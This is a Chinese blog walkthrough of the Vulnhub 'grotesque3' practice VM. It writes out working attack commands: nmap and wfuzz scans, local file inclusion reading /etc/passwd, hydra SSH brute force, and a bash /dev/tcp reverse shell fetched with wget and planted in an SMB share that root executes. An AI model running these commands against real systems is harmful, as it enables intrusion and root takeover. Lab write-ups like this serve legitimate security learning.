Vulnhub实战-grotesque3靶机

靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/

1.靶机描述

2.主机探测,端口扫描

  1. 我们在vmware中成功导入靶机之后,在kali中进行主机探测

nmap -sn 192.168.33.0/24

得到主机IP,接下来进行端口扫描

nmap -sS -p- -v 192.168.33.230

我们发现开启了80和22端口,这里说明可以进行ssh爆破,但是没有线索胡乱爆破太费时间了,所以先去看看80端口web服务有什么吧。

3.web测试

  1. 访问IP地址得到如下页面

我们看看源代码发现有一个图片,然后就啥也没了。点进去看看,我还以为是图片隐写呢,害得我一顿binwalk,foremost,stepgeek进行图片破解都无果,我在这里替大家把坑都走了。最后看了大佬的博客才发现图片里面有一个mdXXXXX,这居然代表着md5,沃日我人傻了

然后接下来居然是从文件名入手,我也不知道咋想的啥脑洞呀。我丢!意思是文件名是经过md5加密的。接下来我们先生成一个md5的文件名表。就用的kali自带的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

执行以下命令将这个字典转换成md5的字典

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下来我们home目录下面就有了一个2.txt,里面都是经过md5加密的文件名,这个2.txt一开始后面都会有两个空格和一个短杠,这个是要去掉的。给它们替换成空就行了。

然后通过kali自带的工具dirbuster进行文件名遍历,在终端输入dirbuster就可以开启这个工具了。然后我们输入地址,导入字典直接开启了,最后就遍历出了一个php文件。

我们访问这个php文件返回为空,接下来就行进行参数爆破了

通过kali自带的wfuzz工具进行http参数爆破,最后爆破出了一个参数purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "http://192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

我们访问这个页面发现了用户名freddie,接下来就是用hydra进行ssh爆破密码啦,密码我们就用刚刚md5加密的词表去爆破吧,我也不知道作者咋想的,我估计这个writeup如果不是作者写的话,神仙也做不出来吧。

执行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

接下来我们登录ssh:

ssh freddie@192.168.33.230

4.提权

我们发现当前用户是freddie,接下来我们就是想办法提升到root权限。

  1. 我们看看能不能执行什么系统命令,发现并没有 命令:sudo -l
  2. 我们再看看也没有什么suid权限的文件,发现也没有 命令:find / -perm -u=s -type f 2>/dev/null

接下来我们执行ss -tulpn发现开启了445端口,证明有smb服务在运行

接下来我们看看后台进程吧,发现有一个进程在执行,就是root用户在执行一个命令/bin/sh -c bash /smbshare/*

说明root用户在用bash这个命令去执行smbshare文件夹下面的sh文件,这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面,因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本,可能一分钟执行一次,大家传上去之后可以等等看kali过一会应该就能连上shell。

我们进到/tmp文件夹,然后进入smb共享文件夹(进入smb是不需要输入密码的,直接回车就行了。):

通过这个遍历出smb的文件名,我们发现有三个文件,依次尝试发现第二个是能够进去的。

smbclient -L 127.0.0.1

然后进入smb:

smbclient //127.0.0.1/grotesque

在这里我们是可以下载靶机的/tmp目录下面的文件进来的,通过put命令,接下来我们下载一个sh的反弹shell进来就可以了。

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我们的kali创建这个shell文件之后,通过python开启一个http服务:python3 -m http.server 9000,然后我们靶机的shell去下载这个文件

kali:
python -m http.server 9000
//这个命令在哪个目录执行的,这个目录就是跟目录 靶机:
wget http://kali的ip:9000/shell.sh kali监听端口,我的是10086:
nc -lnvp 10086 smb:
put shell.sh

最后我们就获取到root权限了,我估计后台那个进程应该是过多久执行一次,所以如果你把脚本下载进去没有立马反弹shell,你可以等等看,一分钟左右应该就会弹shell了。


Vulnhub实战-grotesque3靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. 用XPath定位Web页面元素时,如何快速验证XPath语句是否正确?

    在使用Selenium做Web UI自动化测试的过程中,XPath是一种定位页面元素的常用方式.然而,面对某些元素的XPath路径过于复杂,我们想快速验证拼凑的Xpath语句是否正确时,该怎么办呢?这 ...

  2. shell中的引号

    单引号: 所见即所得 原封不动输出 双引号: 与单引号类似 特殊符号进行解析 ( $ $() `` ! ) 无引号: 与双引号类似 支持通配符( {} * ) 反引号: 优先执行 优先执行里面的命令, ...

  3. Python - 通过PyYaml库操作YAML文件

    PyYaml简单介绍 Python的PyYAML模块是Python的YAML解析器和生成器 它有个版本分水岭,就是5.1 读取YAML5.1之前的读取方法 def read_yaml(self, pa ...

  4. C# AutoMaper简单使用

    AutoMapper它是一种对象与对象之间的映射器,让AutoMapper有意思的就是在于它提供了一些将类型A映射到类型B这种无聊的实例,只要B遵循AutoMapper已经建立的惯例,那么大多数情况下 ...

  5. python库--tensorflow--RNN(循环神经网络相关)

    类/方法 返回值类型 参数 说明 tf.contrib.rnn① / tf.nn.rnn_cell② .RNNCell() 实例r 看不懂 trainable=True   name=None   d ...

  6. 剑指 Offer 60. n个骰子的点数

    剑指 Offer 60. n个骰子的点数 把n个骰子扔在地上,所有骰子朝上一面的点数之和为s.输入n,打印出s的所有可能的值出现的概率. 你需要用一个浮点数数组返回答案,其中第 i 个元素代表这 n ...

  7. 一文让你彻底搞懂 vue-Router

    路由是网络工程里面的专业术语,就是通过互联把信息从源地址传输到目的地址的活动.本质上就是一种对应关系.分为前端路由和后端路由. 后端路由: URL 的请求地址与服务器上的资源对应,根据不同的请求地址返 ...

  8. Django3.2边学边记—Adimn站点管理

    准备工作 创建管理员的用户名和密码: python manage.py createsuperuser 根据提示创建用户名 密码 在admin.py中注册模型类 from django.contrib ...

  9. Matlab使用随记

    Matlab 2020 想要看图像每一点的值大小 工具--->数据提示 想要导出的分辨率提高 导出设置--->渲染--->600dpi Matlab 2017b 程序运行后,画出图, ...

  10. 51nod1600-Simple KMP【SAM,树链剖分】

    正题 题目链接:http://www.51nod.com/Challenge/Problem.html#problemId=1600 题目大意 给出一个字符串\(s\),每次在最后插入一个字符后求它的 ...